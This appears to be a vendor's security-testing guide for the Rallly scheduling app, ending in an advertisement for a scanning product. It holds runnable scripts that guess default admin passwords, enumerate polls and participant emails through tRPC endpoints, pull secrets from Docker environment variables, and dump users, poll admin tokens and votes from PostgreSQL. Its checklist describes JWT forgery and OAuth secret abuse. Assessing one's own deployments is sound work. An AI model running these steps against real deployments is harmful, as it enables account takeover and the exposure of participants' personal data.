Rallly Security Testing: Default Credentials, API Key, Database, and NEXTAUTH_SECRET

Rallly is a widely deployed self-hosted scheduling and meeting poll application — used as a Doodle alternative for coordinating meetings and events. It stores participant names, email addresses, and availability preferences for every scheduling poll created on the platform. Key assessment areas: NEXTAUTH_SECRET is the NextAuth.js session signing key enabling account takeover; the PostgreSQL database stores all participant contact data; OAuth provider credentials (Google, GitHub, Microsoft) enable SSO authentication; and public polls may expose participant data without authentication. This guide covers systematic Rallly security assessment.

Table of Contents

  1. Admin Access and Poll Participant Enumeration
  2. OAuth Client Secret and Session Token Testing
  3. NEXTAUTH_SECRET and Database Extraction
  4. Rallly Security Hardening

Admin Access and Poll Participant Enumeration

# Rallly — admin access and poll participant enumeration
RALLLY_URL="https://rallly.example.com"

# Rallly uses NextAuth.js — test common admin credentials
# Default admin is configured via NEXT_PUBLIC_SUPPORT_EMAIL env var
# Try email/password pairs for the configured admin account
for CRED in "admin@example.com:admin" "admin@example.com:password" \
            "rallly@example.com:rallly" "support@example.com:admin123"; do
  EMAIL=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  RESULT=$(curl -s -X POST "${RALLLY_URL}/api/auth/callback/credentials" \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"${EMAIL}\",\"password\":\"${PASS}\"}" 2>/dev/null)
  echo "${EMAIL}: $(echo $RESULT | python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('url','FAIL'))" 2>/dev/null)"
done

# Enumerate polls via the trpc API (may be accessible without auth)
# Rallly uses tRPC — endpoints are under /api/trpc/
curl -s "${RALLLY_URL}/api/trpc/polls.list?batch=1&input=%7B%220%22%3A%7B%22json%22%3Anull%7D%7D" \
  -H "Cookie: next-auth.session-token=SESSION_TOKEN" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
polls = d[0].get('result',{}).get('data',{}).get('json',{})
plist = polls.get('polls',[]) if isinstance(polls,dict) else []
print(f'Polls: {len(plist)}')
for p in plist[:10]:
    print(f'  [{p.get(\"id\",\"\")}] {p.get(\"title\",\"\")}')
    print(f'    participantCount={p.get(\"participantCount\")} status={p.get(\"status\")}')
" 2>/dev/null

# Access a specific poll's participants (public polls may expose participant data)
POLL_ID="your-poll-id"
curl -s "${RALLLY_URL}/api/trpc/polls.participants.list?batch=1&input=%7B%220%22%3A%7B%22json%22%3A%7B%22pollId%22%3A%22${POLL_ID}%22%7D%7D%7D" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
data = d[0].get('result',{}).get('data',{}).get('json',{})
participants = data.get('participants',[]) if isinstance(data,dict) else []
print(f'Participants: {len(participants)}')
for p in participants:
    print(f'  [{p.get(\"id\",\"\")}] {p.get(\"name\",\"\")} email={p.get(\"email\",\"\")}')
" 2>/dev/null

OAuth Client Secret and Session Token Testing

# Rallly OAuth client secrets and session token testing
RALLLY_URL="https://rallly.example.com"

# NextAuth.js OAuth provider configuration — credentials in environment
# Google OAuth
GOOGLE_CLIENT_ID="from-env"
GOOGLE_CLIENT_SECRET="GOCSPX-xxxxx"  # Exposed in .env or Docker
# GitHub OAuth
GITHUB_CLIENT_ID="from-env"
GITHUB_CLIENT_SECRET="ghp_xxxxx"
# Microsoft/Azure OAuth
MICROSOFT_CLIENT_ID="from-env"
MICROSOFT_CLIENT_SECRET="xxxxx"

# Test if any OIDC provider discovery endpoint is exposed
curl -s "${RALLLY_URL}/.well-known/openid-configuration" 2>/dev/null
curl -s "${RALLLY_URL}/api/auth/providers" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Configured OAuth providers:')
for name, info in d.items():
    print(f'  {name}: {info.get(\"type\")} signinUrl={info.get(\"signinUrl\")}')
" 2>/dev/null

# NextAuth.js CSRF token and session token extraction
CSRF=$(curl -s "${RALLLY_URL}/api/auth/csrf" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(d.get('csrfToken',''))
" 2>/dev/null)
echo "CSRF Token: ${CSRF}"

# Session information (requires valid session token)
curl -s "${RALLLY_URL}/api/auth/session" \
  -H "Cookie: next-auth.session-token=CAPTURED_SESSION_TOKEN" \
  2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
user = d.get('user',{})
print(f'Session user: email={user.get(\"email\")} name={user.get(\"name\")}')
print(f'  id={user.get(\"id\")} expires={d.get(\"expires\")}')
" 2>/dev/null

NEXTAUTH_SECRET and Database Extraction

# Rallly NEXTAUTH_SECRET and database extraction

# Docker environment variables
docker inspect rallly 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
    for e in c.get('Config',{}).get('Env',[]):
        if any(k in e for k in ['SECRET','PASSWORD','DATABASE','GOOGLE','GITHUB','SMTP','MICROSOFT']):
            print(e)
" 2>/dev/null
# NEXTAUTH_SECRET — signs all NextAuth.js session JWTs
# DATABASE_URL — PostgreSQL connection string with credentials
# GOOGLE_CLIENT_ID, GOOGLE_CLIENT_SECRET — Google OAuth credentials
# GITHUB_CLIENT_ID, GITHUB_CLIENT_SECRET — GitHub OAuth credentials
# SMTP_HOST, SMTP_USER, SMTP_PASSWORD, SMTP_SECURE — email delivery
# NEXT_PUBLIC_SUPPORT_EMAIL — admin email address

# PostgreSQL — all Rallly organizational data
DB_URL="postgresql://rallly:PASSWORD@localhost/rallly"
psql "$DB_URL" 2>/dev/null << 'EOF'
-- All user accounts
SELECT u.id, u.email, u.name,
       u.role,
       u."timeZone",
       u."createdAt", u."updatedAt"
FROM users u
ORDER BY u.role DESC, u."createdAt" ASC
LIMIT 20;
EOF

-- All polls with organizer data
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT p.id, p.title,
       p.description,
       p."userId" as organizer_id,
       u.email as organizer_email,
       p.status,
       p."adminUrlId",
       p."participantUrlId",
       p."createdAt"
FROM polls p
JOIN users u ON p."userId" = u.id
ORDER BY p."createdAt" DESC
LIMIT 20;
EOF
-- adminUrlId: the secret admin link for the poll — enables full poll management

-- All participants and their email addresses (PII)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT pa.id, pa.name,
       pa.email,
       pa."pollId",
       p.title as poll_title,
       pa."createdAt"
FROM participants pa
JOIN polls p ON pa."pollId" = p.id
ORDER BY pa."createdAt" DESC
LIMIT 30;
EOF
-- email: participant email addresses from all scheduling polls

-- All votes (availability preferences per participant)
psql "$DB_URL" 2>/dev/null << 'EOF'
SELECT v.id,
       v."participantId",
       pa.name as participant_name,
       pa.email as participant_email,
       v."optionId",
       v.type,
       v."pollId"
FROM votes v
JOIN participants pa ON v."participantId" = pa.id
ORDER BY v."pollId", pa.name
LIMIT 30;
EOF

Rallly Security Hardening

Rallly Security Hardening Checklist:
Security TestMethodRisk
NEXTAUTH_SECRET extraction and JWT session forgeryRead .env NEXTAUTH_SECRET — forge NextAuth.js JWT session tokens for any user account; impersonate poll organizers; access all their polls and participant data; admin account impersonation for full platform accessHigh
PostgreSQL participants table email enumerationSELECT email FROM participants — all participant email addresses from every scheduling poll; PII breach affecting all users who ever participated in a poll, including non-registered users who participated as guestsHigh
Poll adminUrlId extraction and management takeoverSELECT adminUrlId FROM polls — secret admin tokens for every poll; allows editing poll title/options, deleting polls, and viewing full participant response data for any poll on the platformHigh
OAuth client secret extraction enabling SSO impersonationRead .env GOOGLE_CLIENT_SECRET/GITHUB_CLIENT_SECRET — impersonate Rallly's OAuth application with the provider; manipulate OAuth callback URLs to steal authentication codes; enables persistent account access even after NEXTAUTH_SECRET rotationHigh
Public poll participant list access without authenticationGET /api/trpc/polls.participants.list with poll ID — participant names and emails may be accessible to anyone with the poll URL; bulk collection of participant contact data from all public pollsMedium

Automate Rallly Security Testing

Ironimo tests Rallly deployments for NEXTAUTH_SECRET JWT session token forgery, PostgreSQL participants table email address extraction, poll adminUrlId token enumeration enabling management takeover, OAuth client secret exposure (Google/GitHub/Microsoft), public poll participant list unauthenticated access, SMTP_PASSWORD email credential extraction, DATABASE_URL connection string Docker exposure, tRPC API endpoint enumeration without authentication, poll creation rate limiting assessment, and participant data PII governance controls.

Start free scan